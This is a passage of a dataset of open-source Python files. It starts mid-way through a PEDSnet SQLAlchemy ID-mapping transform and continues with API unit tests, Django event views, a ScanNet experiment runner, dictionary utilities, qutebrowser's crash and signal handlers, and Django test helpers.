without this foreign key will not be included in\n # the final product.\n isouter = table.c[fkey_name].nullable\n\n map_table_alias = map_table.alias()\n # Add a join to the mapping table.)\n join = join.join(map_table_alias, table.c[fkey_name] ==\n map_table_alias.c['site_id'], isouter=isouter)\n\n # Create a new select object, because we need to replace the\n # foreign key column with the joined mapping table dcc_id column.\n new_select = sqlalchemy.select()\n\n # Get rid of the foreign key column.\n for c in select.inner_columns:\n if c.name != fkey_name:\n new_select.append_column(c)\n\n # Add the mapping table dcc_id column as the foreign key column.\n new_select.append_column(map_table_alias.c[id_name + '_id'].label(fkey_name))\n\n # Put the new select object back in the original var for next use.\n select = new_select\n\n # Special handling for fact_relationship.\n if table_name == 'fact_relationship':\n\n case_1 = {}\n case_2 = {}\n\n for ref_table_name, domain_concept_id in \\\n FACT_RELATIONSHIP_DOMAINS.items():\n\n # Get mapping table name, by convention.\n map_table_name = map_table_name_tmpl.\\\n format(table_name=ref_table_name)\n\n # Construct table object for mapping table, if necessary.\n if map_table_name not in metadata.tables:\n map_table = sqlalchemy.Table(\n map_table_name, metadata,\n sqlalchemy.Column(id_name + '_id', sqlalchemy.Integer),\n sqlalchemy.Column('site_id', sqlalchemy.Integer))\n else:\n map_table = metadata.tables[map_table_name]\n\n # Make two aliases of the mapping table for joining to each of\n # the fact_id columns.\n map_table_1 = map_table.alias()\n map_table_2 = map_table.alias()\n\n # Add two joins to the mapping table\n join = join.join(map_table_1, sqlalchemy.and_(\n table.c['fact_id_1'] ==\n map_table_1.c['site_id'],\n table.c['domain_concept_id_1'] ==\n domain_concept_id),\n isouter=True)\n join = join.join(map_table_2, sqlalchemy.and_(\n table.c['fact_id_2'] ==\n map_table_2.c['site_id'],\n table.c['domain_concept_id_2'] ==\n domain_concept_id),\n isouter=True)\n\n # Add conditions to the case dictionary constructs.\n case_1[domain_concept_id] = map_table_1.c[id_name + '_id']\n case_2[domain_concept_id] = map_table_2.c[id_name + '_id']\n\n # Create a new select object, because we need to replace the\n # fact_id columns with the case constructs.\n new_select = sqlalchemy.select()\n\n # Get rid of the fact_id columns.\n for c in select.inner_columns:\n if c.name not in ['fact_id_1', 'fact_id_2']:\n new_select.append_column(c)\n\n # Add the case constructs as the new fact_id columns.\n new_select.append_column(sqlalchemy.case(\n case_1, value=table.c['domain_concept_id_1']).\n label('fact_id_1'))\n new_select.append_column(sqlalchemy.case(\n case_2, value=table.c['domain_concept_id_2']).\n label('fact_id_2'))\n\n # Add the original fact_id columns as the site_id columns.\n new_select.append_column(table.c['fact_id_1'].label('site_id_1'))\n new_select.append_column(table.c['fact_id_2'].label('site_id_2'))\n\n # Put the new select object in the original var for further use.\n select = new_select\n\n return select, join\n\n @classmethod\n def modify_table(cls, metadata, table):\n \"\"\"Helper function to apply the transformation to a table in place.\n See Transform.modify_table for signature.\n \"\"\"\n\n if len(table.primary_key.columns) == 1 and not \\\n (table.name == 'death' and 'person_id' in\n table.primary_key.columns):\n new_col = sqlalchemy.Column('site_id', sqlalchemy.Integer)\n table.append_column(new_col)\n\n if table.name == 'fact_relationship':\n new_col_1 = sqlalchemy.Column('site_id_1', sqlalchemy.Integer)\n new_col_2 = sqlalchemy.Column('site_id_2', sqlalchemy.Integer)\n table.append_column(new_col_1)\n table.append_column(new_col_2)\n", "source": "PEDSnet/pedsnetdcc", "license": "BSD-2-Clause"}
+{"text": "# coding: utf-8\n\n# -----------------------------------------------------------------------------------\n# \n# Copyright (c) 2003-2021 Aspose Pty Ltd\n# \n# \n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n# \n# -----------------------------------------------------------------------------------\n\nfrom __future__ import absolute_import\n\nimport unittest\nimport os\n\nfrom groupdocs_annotation_cloud import *\nfrom test.test_context import TestContext\nfrom test.test_file import TestFile\n\nclass TestAnnotateApi(TestContext):\n \"\"\"AnnotateApi unit tests\"\"\"\n\n def test_add_annotate(self):\n for test_file in TestFile.get_test_files_annotation():\n file_info = FileInfo()\n file_info.file_path = test_file.folder + test_file.file_name\n file_info.password = test_file.password\n options = AnnotateOptions()\n options.file_info = file_info\n options.annotations = self.GetAnnotations()\n options.output_path = self.outputDir + \"/\" + test_file.file_name\n\n request = AnnotateRequest(options)\n result = self.annotate_api.annotate(request) \n self.assertGreater(len(result['href']), 0)\n\n def test_add_annotate_direct(self):\n for test_file in TestFile.get_test_files_annotation():\n file_info = FileInfo()\n file_info.file_path = test_file.folder + test_file.file_name\n file_info.password = test_file.password\n options = AnnotateOptions()\n options.file_info = file_info\n options.annotations = self.GetAnnotations()\n options.output_path = self.outputDir + \"/\" + test_file.file_name\n\n request = AnnotateDirectRequest(options)\n result = self.annotate_api.annotate_direct(request) \n self.assertGreater(len(result), 0)\n\n def test_extract(self):\n for test_file in TestFile.get_test_files_with_annotations():\n file_info = FileInfo()\n file_info.file_path = test_file.folder + test_file.file_name\n file_info.password = test_file.password\n\n request = ExtractRequest(file_info)\n result = self.annotate_api.extract(request) \n self.assertGreater(len(result), 0)\n\n def test_remove_annotations(self):\n for test_file in TestFile.get_test_files_with_annotations():\n file_info = FileInfo()\n file_info.file_path = test_file.folder + test_file.file_name\n file_info.password = test_file.password\n options = RemoveOptions()\n options.file_info = file_info\n options.annotation_ids = [1, 2, 3]\n options.output_path = self.outputDir + \"/\" + test_file.file_name\n\n request = RemoveAnnotationsRequest(options)\n result = self.annotate_api.remove_annotations(request) \n self.assertGreater(len(result['href']), 0)\n \n @staticmethod\n def GetAnnotations():\n a = AnnotationInfo()\n a.annotation_position = Point()\n a.annotation_position.x = 852\n a.annotation_position.y = 59.388262910798119\n a.box = Rectangle()\n a.box.x = 375.89276123046875\n a.box.y = 59.388263702392578\n a.box.width = 88.7330551147461\n a.box.height = 37.7290153503418\n a.page_number = 0\n a.pen_color = 1201033\n a.pen_style = \"Solid\"\n a.pen_width = 1\n a.type = \"Area\"\n a.creator_name = \"Anonym A.\"\n return [a]\n\n\nif __name__ == '__main__':\n unittest.main()\n", "source": "groupdocs-annotation-cloud/groupdocs-annotation-cloud-python", "license": "MIT"}
+{"text": "# Create your views here.\n\nfrom django.http import JsonResponse\nfrom django.views.generic import ListView, DetailView\n\nfrom event.models import EventUser\nfrom eviteapi.models import Event\nfrom django.core.mail import send_mail\n\n\n# home view for Event. Event are displayed in a list\nclass IndexView(ListView):\n template_name = 'event/index.html'\n context_object_name = 'event_list'\n\n def get_queryset(self):\n return Event.objects.all().order_by('start_time')\n\n\nclass EventSignUp(DetailView):\n model = Event\n template_name = 'event/event-signup.html'\n\n\ndef eventsubscribe(request):\n try:\n user_id = request.POST['email']\n event_id = request.POST['event_id']\n if user_id == '':\n data = {'message': \"Please input email address\"}\n return JsonResponse(data)\n\n event_user = EventUser.objects.filter(user_id=user_id, event_id=event_id)\n if len(event_user) > 0:\n data = {'message': \"Event already subscribed\"}\n return JsonResponse(data)\n\n event_user = EventUser(user_id=user_id, event_id=Event.objects.get(id=event_id))\n event_user.save()\n if event_user is not None:\n # event = Event.objects.get(id=event_id)\n # send_mail(\n # 'Subscribed for event: ' + str(event.name),\n # 'Thanks for the sign up to this event',\n # 'test@gmail.com',\n # [str(user_id)],\n # fail_silently=False,\n # )\n data = {'message': \"Event successfully subscribed.\"}\n return JsonResponse(data)\n except Exception as e:\n data = {'message': \"Something wrong.\" + str(e)}\n return JsonResponse(data)\n\n\ndef eventunsubscribe(request):\n try:\n user_id = request.POST['email']\n event_id = request.POST['event_id']\n if user_id == '':\n data = {'message': \"Please input email address\"}\n return JsonResponse(data)\n\n event_user = EventUser.objects.filter(user_id=user_id, event_id=event_id)\n if len(event_user) == 0:\n data = {'message': \"Event not subscribed yet\"}\n return JsonResponse(data)\n\n event_user.delete()\n if len(event_user) == 0:\n data = {'message': \"Event successfully Unsubscribed.\"}\n return JsonResponse(data)\n except Exception as e:\n data = {'message': \"Something wrong.\" + str(e)}\n return JsonResponse(data)\n", "source": "rasselict07/Evite", "license": "MIT"}
+{"text": "# manage.py\n\nimport os\n\nfrom blinkwink import create_app\n\nfrom flask_script import Manager\n\n# Either the config level is set in an environment variable\n# or we just use the development version of the config\napp = create_app(os.getenv(\"BLINKWINK_ENV\") or \"dev\")\nmanager = Manager(app)\n\nif __name__ == \"__main__\":\n manager.run()\n", "source": "imajunryou/blinkwink", "license": "MIT"}
+{"text": "import numpy as np\nimport os\nimport subprocess\nimport trimesh\n\nimport src.utils.geometry as geometry\nimport src.utils.scannet_helper as scannet_helper\n\nwith open(\"/home/kejie/Datasets/ScanNet/server/Data/ScanNet/ScanNet/Tasks/Benchmark/scannetv2_val.txt\", \"r\") as f:\n sequences = f.read().splitlines()\n\nsequences = sorted(sequences)\n\n# \"scene0647_00\" out of memory \n\n# run till scene0693_00\n\nfor seq in sequences[286:]:\n for skip in [10]:\n for shift in range(1):\n exp_name = f\"scannet_{skip}_{shift}\"\n out_root = f\"/home/kejie/repository/fast_sdf/logs/test/{exp_name}/\"\n commands = (\n \"python src/test.py model=fusion_pointnet_model dataset=fusion_inference_scannet_dataset \"\n \"dataset.num_workers=0 \"\n \"dataset.downsample_scale=1 \"\n \"model.ray_tracer.ray_max_dist=5 \"\n \"model.voxel_size=0.02 \"\n \"model.min_pts_in_grid=8 \"\n \"trainer.checkpoint=/home/kejie/repository/fast_sdf/logs/train/2021-10-21/22-37-03/lightning_logs/version_0/checkpoints/last.ckpt\"\n )\n commands = commands.split(\" \")\n commands += [f\"dataset.scan_id={seq}\"]\n commands += [f\"dataset.out_root={out_root}\"]\n commands += [f\"dataset.skip_images={skip}\"]\n # commands += [f\"dataset.sample_shift={shift}\"]\n\n try:\n subprocess.run(commands, check=True)\n print(f\"finish {seq}\")\n except subprocess.CalledProcessError:\n import pdb\n pdb.set_trace()\n\n commands = (\n \"python src/train.py model=fusion_refiner_model dataset=fusion_refiner_scannet_dataset \"\n \"dataset.num_workers=4 \"\n \"dataset.downsample_scale=1 \"\n \"model.ray_tracer.ray_max_dist=5 \"\n \"model.voxel_size=0.02 \"\n \"model.min_pts_in_grid=8 \"\n \"trainer.max_epochs=20 \"\n \"trainer.check_val_every_n_epoch=10 \"\n \"dataset.num_pixels=5000 \"\n \"model.train_ray_splits=2500 \"\n \"model.sdf_delta_weight=0.1 \"\n \"model.pretrained_model=/home/kejie/repository/fast_sdf/logs/train/2021-10-21/22-37-03/lightning_logs/version_0/checkpoints/last.ckpt\"\n )\n commands = commands.split(\" \") \n commands += [f\"dataset.scan_id={seq}\"]\n \n volume_path = f\"/home/kejie/repository/fast_sdf/logs/test/{exp_name}/{seq}\"\n commands += [f\"model.volume_dir={volume_path}\"]\n \n commands += [f\"dataset.skip_images={skip}\"]\n # commands += [f\"dataset.sample_shift={shift}\"]\n \n out_root = f\"/home/kejie/repository/fast_sdf/logs/train/{exp_name}/\"\n commands += [f\"dataset.out_root={out_root}\"]\n try:\n subprocess.run(commands, check=True)\n print(f\"finish {seq}\")\n except subprocess.CalledProcessError:\n import pdb\n pdb.set_trace()", "source": "likojack/bnv_fusion", "license": "MIT"}
+{"text": "from copy import deepcopy\nfrom typing import Any, Dict\n\n\ndef merge_dicts(a: Dict, b: Dict):\n \"\"\"Merge two dictionaries in a recursive way.\n It means that if there is a key match, the keys is merged as well.\n Only dict and list keys merging is supported\n Args:\n a (Dict):\n b (Dict)\n Raises:\n ValueError: if a key is present in both the dictionaries and does not falls\n in one of these classes: Dict, List\n \"\"\"\n res = deepcopy(a)\n for k, v in b.items():\n if k not in res:\n res[k] = v\n else:\n if isinstance(v, dict):\n res[k] = merge_dicts(res[k], v)\n elif isinstance(v, list):\n res[k] += v\n else:\n raise ValueError(\n f\"\"\"Impossible to merge {res[k].__class__} and {v.__class__}.\n Data structure combinations not supported. Only merge between list and dict possible\"\"\"\n )\n return res\n\n\ndef get_key(obj: Any, key: str):\n try:\n return obj.get(key)\n except:\n return getattr(obj, key)\n\n\ndef set_key(obj: Any, key: str, value: Any):\n try:\n obj[key] = value\n except:\n setattr(obj, key, value)\n\n\ndef get_nested_value(obj: Any, path: str) -> Any:\n if \"[]\" in path:\n raise Exception(\n \"This function works only for non array objects. Use get_nested_values instead\"\n )\n keys = path.split(\".\")\n current_key = keys[0]\n if len(keys) == 1:\n return get_key(obj, path)\n return get_nested_value(get_key(obj, current_key), \".\".join(keys[1:]))\n\n\ndef set_nested_value(obj: Any, path: str, value: Any) -> Any:\n def aux(obj: Any, path: str, value: Any):\n keys = path.split(\".\")\n current_key = keys[0]\n if len(keys) == 1:\n set_key(obj, path, value)\n return\n\n aux(get_key(obj, current_key), \".\".join(keys[1:]), value)\n\n instance = deepcopy(obj)\n aux(instance, path, value)\n return instance\n\n\ndef get_nested_values(obj: Any, path: str) -> Any:\n keys = path.split(\".\")\n current_key = keys[0]\n if len(keys) == 1:\n return get_key(obj, path)\n\n if current_key.endswith(\"[]\"):\n current_key = current_key[:-2]\n return [\n get_nested_values(element, \".\".join(keys[1:]))\n for element in get_key(obj, current_key)\n ]\n return get_nested_values(get_key(obj, current_key), \".\".join(keys[1:]))\n", "source": "AlviseSembenico/pytils", "license": "MIT"}
+{"text": "# vim: ft=python fileencoding=utf-8 sts=4 sw=4 et:\n\n# Copyright 2014-2021 Florian Bruhin (The Compiler) \n#\n# This file is part of qutebrowser.\n#\n# qutebrowser is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# qutebrowser is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with qutebrowser. If not, see .\n\n\"\"\"Handlers for crashes and OS signals.\"\"\"\n\nimport os\nimport os.path\nimport sys\nimport bdb\nimport pdb # noqa: T002\nimport signal\nimport argparse\nimport functools\nimport threading\nimport faulthandler\nimport dataclasses\nfrom typing import TYPE_CHECKING, Optional, MutableMapping, cast, List\n\nfrom PyQt5.QtCore import (pyqtSlot, qInstallMessageHandler, QObject,\n QSocketNotifier, QTimer, QUrl)\nfrom PyQt5.QtWidgets import QApplication\n\nfrom qutebrowser.api import cmdutils\nfrom qutebrowser.misc import earlyinit, crashdialog, ipc, objects\nfrom qutebrowser.utils import usertypes, standarddir, log, objreg, debug, utils\nfrom qutebrowser.qt import sip\nif TYPE_CHECKING:\n from qutebrowser.misc import quitter\n\n\n@dataclasses.dataclass\nclass ExceptionInfo:\n\n \"\"\"Information stored when there was an exception.\"\"\"\n\n pages: List[List[str]]\n cmd_history: List[str]\n objects: str\n\n\ncrash_handler = cast('CrashHandler', None)\n\n\nclass CrashHandler(QObject):\n\n \"\"\"Handler for crashes, reports and exceptions.\n\n Attributes:\n _app: The QApplication instance.\n _quitter: The Quitter instance.\n _args: The argparse namespace.\n _crash_dialog: The CrashDialog currently being shown.\n _crash_log_file: The file handle for the faulthandler crash log.\n _crash_log_data: Crash data read from the previous crash log.\n is_crashing: Used by mainwindow.py to skip confirm questions on\n crashes.\n \"\"\"\n\n def __init__(self, *, app, quitter, args, parent=None):\n super().__init__(parent)\n self._app = app\n self._quitter = quitter\n self._args = args\n self._crash_log_file = None\n self._crash_log_data = None\n self._crash_dialog = None\n self.is_crashing = False\n\n def activate(self):\n \"\"\"Activate the exception hook.\"\"\"\n sys.excepthook = self.exception_hook\n\n def init_faulthandler(self):\n \"\"\"Handle a segfault from a previous run and set up faulthandler.\"\"\"\n logname = os.path.join(standarddir.data(), 'crash.log')\n try:\n # First check if an old logfile exists.\n if os.path.exists(logname):\n with open(logname, 'r', encoding='ascii') as f:\n self._crash_log_data = f.read()\n os.remove(logname)\n self._init_crashlogfile()\n else:\n # There's no log file, so we can use this to display crashes to\n # the user on the next start.\n self._init_crashlogfile()\n except OSError:\n log.init.exception(\"Error while handling crash log file!\")\n self._init_crashlogfile()\n\n def display_faulthandler(self):\n \"\"\"If there was data in the crash log file, display a dialog.\"\"\"\n assert not self._args.no_err_windows\n if self._crash_log_data:\n # Crashlog exists and has data in it, so something crashed\n # previously.\n self._crash_dialog = crashdialog.FatalCrashDialog(\n self._args.debug, self._crash_log_data)\n self._crash_dialog.show()\n self._crash_log_data = None\n\n def _recover_pages(self, forgiving=False):\n \"\"\"Try to recover all open pages.\n\n Called from exception_hook, so as forgiving as possible.\n\n Args:\n forgiving: Whether to ignore exceptions.\n\n Return:\n A list containing a list for each window, which in turn contain the\n opened URLs.\n \"\"\"\n pages = []\n for win_id in objreg.window_registry:\n win_pages = []\n tabbed_browser = objreg.get('tabbed-browser', scope='window',\n window=win_id)\n for tab in tabbed_browser.widgets():\n try:\n urlstr = tab.url().toString(\n QUrl.RemovePassword | QUrl.FullyEncoded)\n if urlstr:\n win_pages.append(urlstr)\n except Exception:\n if forgiving:\n log.destroy.exception(\"Error while recovering tab\")\n else:\n raise\n pages.append(win_pages)\n return pages\n\n def _init_crashlogfile(self):\n \"\"\"Start a new logfile and redirect faulthandler to it.\"\"\"\n logname = os.path.join(standarddir.data(), 'crash.log')\n try:\n self._crash_log_file = open(logname, 'w', encoding='ascii')\n except OSError:\n log.init.exception(\"Error while opening crash log file!\")\n else:\n earlyinit.init_faulthandler(self._crash_log_file)\n\n @cmdutils.register(instance='crash-handler')\n def report(self, info=None, contact=None):\n \"\"\"Report a bug in qutebrowser.\n\n Args:\n info: Information about the bug report. If given, no report dialog\n shows up.\n contact: Contact information for the report.\n \"\"\"\n pages = self._recover_pages()\n cmd_history = objreg.get('command-history')[-5:]\n all_objects = debug.get_all_objects()\n\n self._crash_dialog = crashdialog.ReportDialog(pages, cmd_history,\n all_objects)\n\n if info is None:\n self._crash_dialog.show()\n else:\n self._crash_dialog.report(info=info, contact=contact)\n\n @pyqtSlot()\n def shutdown(self):\n self.destroy_crashlogfile()\n\n def destroy_crashlogfile(self):\n \"\"\"Clean up the crash log file and delete it.\"\"\"\n if self._crash_log_file is None:\n return\n # We use sys.__stderr__ instead of sys.stderr here so this will still\n # work when sys.stderr got replaced, e.g. by \"Python Tools for Visual\n # Studio\".\n if sys.__stderr__ is not None:\n faulthandler.enable(sys.__stderr__)\n else:\n faulthandler.disable() # type: ignore[unreachable]\n try:\n self._crash_log_file.close()\n os.remove(self._crash_log_file.name)\n except OSError:\n log.destroy.exception(\"Could not remove crash log!\")\n\n def _get_exception_info(self):\n \"\"\"Get info needed for the exception hook/dialog.\n\n Return:\n An ExceptionInfo object.\n \"\"\"\n try:\n pages = self._recover_pages(forgiving=True)\n except Exception as e:\n log.destroy.exception(\"Error while recovering pages: {}\".format(e))\n pages = []\n\n try:\n cmd_history = objreg.get('command-history')[-5:]\n except Exception as e:\n log.destroy.exception(\"Error while getting history: {}\".format(e))\n cmd_history = []\n\n try:\n all_objects = debug.get_all_objects()\n except Exception:\n log.destroy.exception(\"Error while getting objects\")\n all_objects = \"\"\n return ExceptionInfo(pages, cmd_history, all_objects)\n\n def _handle_early_exits(self, exc):\n \"\"\"Handle some special cases for the exception hook.\n\n Return value:\n True: Exception hook should be aborted.\n False: Continue handling exception.\n \"\"\"\n exctype, _excvalue, tb = exc\n\n if not self._quitter.quit_status['crash']:\n log.misc.error(\"ARGH, there was an exception while the crash \"\n \"dialog is already shown:\", exc_info=exc)\n return True\n\n log.misc.error(\"Uncaught exception\", exc_info=exc)\n\n is_ignored_exception = (exctype is bdb.BdbQuit or\n not issubclass(exctype, Exception))\n\n if 'pdb-postmortem' in objects.debug_flags:\n if tb is None:\n pdb.set_trace() # noqa: T100\n else:\n pdb.post_mortem(tb)\n\n if is_ignored_exception or 'pdb-postmortem' in objects.debug_flags:\n # pdb exit, KeyboardInterrupt, ...\n sys.exit(usertypes.Exit.exception)\n\n if threading.current_thread() != threading.main_thread():\n log.misc.error(\"Ignoring exception outside of main thread... \"\n \"Please report this as a bug.\")\n return True\n\n return False\n\n def exception_hook(self, exctype, excvalue, tb):\n \"\"\"Handle uncaught python exceptions.\n\n It'll try very hard to write all open tabs to a file, and then exit\n gracefully.\n \"\"\"\n exc = (exctype, excvalue, tb)\n\n if self._handle_early_exits(exc):\n return\n\n self._quitter.quit_status['crash'] = False\n info = self._get_exception_info()\n\n if ipc.server is not None:\n try:\n ipc.server.ignored = True\n except Exception:\n log.destroy.exception(\"Error while ignoring ipc\")\n\n try:\n self._app.lastWindowClosed.disconnect(\n self._quitter.on_last_window_closed)\n except TypeError:\n log.destroy.exception(\"Error while preventing shutdown\")\n\n self.is_crashing = True\n\n self._app.closeAllWindows()\n if self._args.no_err_windows:\n crashdialog.dump_exception_info(exc, info.pages, info.cmd_history,\n info.objects)\n else:\n self._crash_dialog = crashdialog.ExceptionCrashDialog(\n self._args.debug, info.pages, info.cmd_history, exc,\n info.objects)\n ret = self._crash_dialog.exec()\n if ret == crashdialog.Result.restore:\n self._quitter.restart(info.pages)\n\n # We might risk a segfault here, but that's better than continuing to\n # run in some undefined state, so we only do the most needed shutdown\n # here.\n qInstallMessageHandler(None)\n self.destroy_crashlogfile()\n sys.exit(usertypes.Exit.exception)\n\n def raise_crashdlg(self):\n \"\"\"Raise the crash dialog if one exists.\"\"\"\n if self._crash_dialog is not None:\n self._crash_dialog.raise_()\n\n\nclass SignalHandler(QObject):\n\n \"\"\"Handler responsible for handling OS signals (SIGINT, SIGTERM, etc.).\n\n Attributes:\n _app: The QApplication instance.\n _quitter: The Quitter instance.\n _activated: Whether activate() was called.\n _notifier: A QSocketNotifier used for signals on Unix.\n _timer: A QTimer used to poll for signals on Windows.\n _orig_handlers: A {signal: handler} dict of original signal handlers.\n _orig_wakeup_fd: The original wakeup filedescriptor.\n \"\"\"\n\n def __init__(self, *, app, quitter, parent=None):\n super().__init__(parent)\n self._app = app\n self._quitter = quitter\n self._notifier = None\n self._timer = usertypes.Timer(self, 'python_hacks')\n self._orig_handlers: MutableMapping[int, 'signal._HANDLER'] = {}\n self._activated = False\n self._orig_wakeup_fd: Optional[int] = None\n\n def activate(self):\n \"\"\"Set up signal handlers.\n\n On Windows this uses a QTimer to periodically hand control over to\n Python so it can handle signals.\n\n On Unix, it uses a QSocketNotifier with os.set_wakeup_fd to get\n notified.\n \"\"\"\n self._orig_handlers[signal.SIGINT] = signal.signal(\n signal.SIGINT, self.interrupt)\n self._orig_handlers[signal.SIGTERM] = signal.signal(\n signal.SIGTERM, self.interrupt)\n\n if utils.is_posix and hasattr(signal, 'set_wakeup_fd'):\n # pylint: disable=import-error,no-member,useless-suppression\n import fcntl\n read_fd, write_fd = os.pipe()\n for fd in [read_fd, write_fd]:\n flags = fcntl.fcntl(fd, fcntl.F_GETFL)\n fcntl.fcntl(fd, fcntl.F_SETFL, flags | os.O_NONBLOCK)\n self._notifier = QSocketNotifier(cast(sip.voidptr, read_fd),\n QSocketNotifier.Read,\n self)\n self._notifier.activated.connect( # type: ignore[attr-defined]\n self.handle_signal_wakeup)\n self._orig_wakeup_fd = signal.set_wakeup_fd(write_fd)\n # pylint: enable=import-error,no-member,useless-suppression\n else:\n self._timer.start(1000)\n self._timer.timeout.connect(lambda: None)\n self._activated = True\n\n def deactivate(self):\n \"\"\"Deactivate all signal handlers.\"\"\"\n if not self._activated:\n return\n if self._notifier is not None:\n assert self._orig_wakeup_fd is not None\n self._notifier.setEnabled(False)\n rfd = self._notifier.socket()\n wfd = signal.set_wakeup_fd(self._orig_wakeup_fd)\n os.close(int(rfd))\n os.close(wfd)\n for sig, handler in self._orig_handlers.items():\n signal.signal(sig, handler)\n self._timer.stop()\n self._activated = False\n\n @pyqtSlot()\n def handle_signal_wakeup(self):\n \"\"\"Handle a newly arrived signal.\n\n This gets called via self._notifier when there's a signal.\n\n Python will get control here, so the signal will get handled.\n \"\"\"\n assert self._notifier is not None\n log.destroy.debug(\"Handling signal wakeup!\")\n self._notifier.setEnabled(False)\n read_fd = self._notifier.socket()\n try:\n os.read(int(read_fd), 1)\n except OSError:\n log.destroy.exception(\"Failed to read wakeup fd.\")\n self._notifier.setEnabled(True)\n\n def _log_later(self, *lines):\n \"\"\"Log the given text line-wise with a QTimer.\"\"\"\n for line in lines:\n QTimer.singleShot(0, functools.partial(log.destroy.info, line))\n\n def interrupt(self, signum, _frame):\n \"\"\"Handler for signals to gracefully shutdown (SIGINT/SIGTERM).\n\n This calls shutdown and remaps the signal to call\n interrupt_forcefully the next time.\n \"\"\"\n signal.signal(signal.SIGINT, self.interrupt_forcefully)\n signal.signal(signal.SIGTERM, self.interrupt_forcefully)\n # Signals can arrive anywhere, so we do this in the main thread\n self._log_later(\"SIGINT/SIGTERM received, shutting down!\",\n \"Do the same again to forcefully quit.\")\n QTimer.singleShot(0, functools.partial(\n self._quitter.shutdown, 128 + signum))\n\n def interrupt_forcefully(self, signum, _frame):\n \"\"\"Interrupt forcefully on the second SIGINT/SIGTERM request.\n\n This skips our shutdown routine and calls QApplication:exit instead.\n It then remaps the signals to call self.interrupt_really_forcefully the\n next time.\n \"\"\"\n signal.signal(signal.SIGINT, self.interrupt_really_forcefully)\n signal.signal(signal.SIGTERM, self.interrupt_really_forcefully)\n # Signals can arrive anywhere, so we do this in the main thread\n self._log_later(\"Forceful quit requested, goodbye cruel world!\",\n \"Do the same again to quit with even more force.\")\n QTimer.singleShot(0, functools.partial(self._app.exit, 128 + signum))\n\n def interrupt_really_forcefully(self, signum, _frame):\n \"\"\"Interrupt with even more force on the third SIGINT/SIGTERM request.\n\n This doesn't run *any* Qt cleanup and simply exits via Python.\n It will most likely lead to a segfault.\n \"\"\"\n print(\"WHY ARE YOU DOING THIS TO ME? :(\")\n sys.exit(128 + signum)\n\n\ndef init(q_app: QApplication,\n args: argparse.Namespace,\n quitter: 'quitter.Quitter') -> None:\n \"\"\"Initialize crash/signal handlers.\"\"\"\n global crash_handler\n crash_handler = CrashHandler(\n app=q_app, quitter=quitter, args=args, parent=q_app)\n objreg.register('crash-handler', crash_handler, command_only=True)\n crash_handler.activate()\n quitter.shutting_down.connect(crash_handler.shutdown)\n\n signal_handler = SignalHandler(app=q_app, quitter=quitter, parent=q_app)\n signal_handler.activate()\n quitter.shutting_down.connect(signal_handler.deactivate)\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"}
+{"text": "#\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this file,\n# You can obtain one at http://mozilla.org/MPL/2.0/.\n#\n# Copyright (C) 2011-2014 Star2Billing S.L.\n#\n# The Initial Developer of the Original Code is\n# Arezqui Belaid \n#\n\nfrom django.contrib.auth.models import User\nfrom django.test import TestCase, Client\nfrom django.test.client import RequestFactory\nimport base64\nimport unittest\nimport inspect\n\n\ndef build_test_suite_from(test_cases):\n \"\"\"Returns a single or group of unittest test suite(s) that's ready to be\n run. The function expects a list of classes that are subclasses of\n TestCase.\n\n The function will search the module where each class resides and\n build a test suite from that class and all subclasses of it.\n \"\"\"\n test_suites = []\n for test_case in test_cases:\n mod = __import__(test_case.__module__)\n components = test_case.__module__.split('.')\n for comp in components[1:]:\n mod = getattr(mod, comp)\n tests = []\n for item in mod.__dict__.values():\n if type(item) is type and issubclass(item, test_case):\n tests.append(item)\n test_suites.append(unittest.TestSuite(\n map(unittest.TestLoader().loadTestsFromTestCase, tests)))\n\n return unittest.TestSuite(test_suites)\n\n\nclass BaseAuthenticatedClient(TestCase):\n \"\"\"Common Authentication\"\"\"\n fixtures = ['auth_user']\n\n def setUp(self):\n \"\"\"To create admin user\"\"\"\n self.client = Client()\n self.user = User.objects.get(username='admin')\n auth = '%s:%s' % ('admin', 'admin')\n auth = 'Basic %s' % base64.encodestring(auth.encode('utf8'))\n auth = auth.strip()\n self.extra = {\n 'HTTP_AUTHORIZATION': auth,\n }\n try:\n self.client.force_login(self.user)\n except AttributeError: # Django < 1.8\n login = self.client.login(username='admin', password='admin')\n self.assertTrue(login)\n\n self.factory = RequestFactory()\n\n\nclass Choice(object):\n\n class __metaclass__(type):\n def __init__(self, *args, **kwargs):\n self._data = []\n for name, value in inspect.getmembers(self):\n if not name.startswith('_') and not inspect.ismethod(value):\n if isinstance(value, tuple) and len(value) > 1:\n data = value\n else:\n pieces = [x.capitalize() for x in name.split('_')]\n data = (value, ' '.join(pieces))\n self._data.append(data)\n setattr(self, name, data[0])\n\n self._hash = dict(self._data)\n\n def __iter__(self):\n for value, data in self._data:\n yield value, data\n\n @classmethod\n def get_value(self, key):\n return self._hash[key]\n", "source": "afkmamunbd/django-admin-tools-stats", "license": "MIT"}
